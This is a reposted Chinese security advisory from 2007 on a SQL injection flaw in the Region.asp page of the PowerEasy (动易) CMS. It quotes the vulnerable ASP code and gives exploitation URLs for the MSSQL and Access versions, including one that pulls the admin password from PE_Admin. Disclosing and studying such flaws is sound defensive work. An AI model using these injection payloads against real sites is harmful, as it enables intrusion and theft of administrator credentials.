 |
动易所有版本的Region.asp页面存在注入漏洞 |
|
|
| 动易所有版本的Region.asp页面存在注入漏洞 |
|
| 作者:佚名 文章来源:不详 点击数: 更新时间:2007-1-25 17:46:25 |
|
文章作者:WhyTt 漏洞发现时间:2006年10月22日 个人Blog:http://why_tt.mblogger.cn //个人 个人Blog:http://whytt.mblogger.cn //技术 影响版本:ACCESS和MSSQL 今天下午看了一个下午的动网代码,头甚是疼,于是晚上回来,找找动易还有其他漏洞没,结果一看,还真有一处,逻辑错误! 在Region.asp中 Country = ReplaceBadChar(Trim(Request("Country"))) Province = ReplaceBadChar(Trim(Request("Province"))) City = ReplaceBadChar(Trim(Request("City"))) 对所有传入的变量都进行了过滤,但是编程者在这里: Set TempRs = Conn.Execute("SELECT Province FROM PE_Province WHERE Country='" & Country & "' ORDER BY ProvinceID") If Err Or TempRs.EOF Then ReDim ShowProvince(0, 0) Province = Trim(Request.QueryString("Province")) Else ShowProvince = TempRs.GetRows(-1) End If Set TempRs = Conn.Execute("SELECT DISTINCT City FROM PE_City WHERE Province='" & Province & "'") 大家可以看到,Province = Trim(Request.QueryString("Province")) 这里直接取的是传入的Province,而不是过滤后的,所以这个Province变量危险了,那么在下面他是直接带入了查询,由于Province变量是我们可以随意构造的,所以我们就可以构造我们的SQL语句。 但是要进入这个查询的前提是:Err=true 或者 TempRs.EOF,而要达到这2个中的一个,就是要让Conn.Execute("SELECT Province FROM PE_Province WHERE Country='" & Country & "' ORDER BY ProvinceID")这条语句在表中查询不到所要找的Country,这样就好构造了。下面是利用代码: http://127.0.0.1/Region.asp?Country=tt&Cit ... =shi'+and+user>0-- 就是在 http://127.0.0.1/Region.asp?Country= ... rovince=shi' 后面加上我们的SQL注入语句。 这就是整个利用原理,很简单,但也很致命的漏洞。 上面是MSSQL版本的利用,而如果要是ACCESS版本中的利用,那么怎么办呢,呵呵,聪明的你可能觉得我在说废话老,看吧。 http://127.0.0.1/Region.asp?Country=tt&City=whytt&Province= ... =1 and '1'='1 这样的话,我们的and 1=1就是在access版本中的利用。呵呵。这样就完成这个漏洞在2个版本的利用。 http://127.0.0.1/Region.asp?Country=tt&City=whytt&Province=s ... elect+password+from+PE_Admin+where+1 【转自世纪安全网 http://www.21safe.com】
|
|
| 文章录入:admin 责任编辑:admin |
|
|
上一篇文章: 新云网站管理系统articlepost.asp文件注入漏洞 下一篇文章: 查找ASP 网页木马的 工具。 |
|
|
| 【字体:小 大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 |
|
|
网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!) |
|
|
|
|
|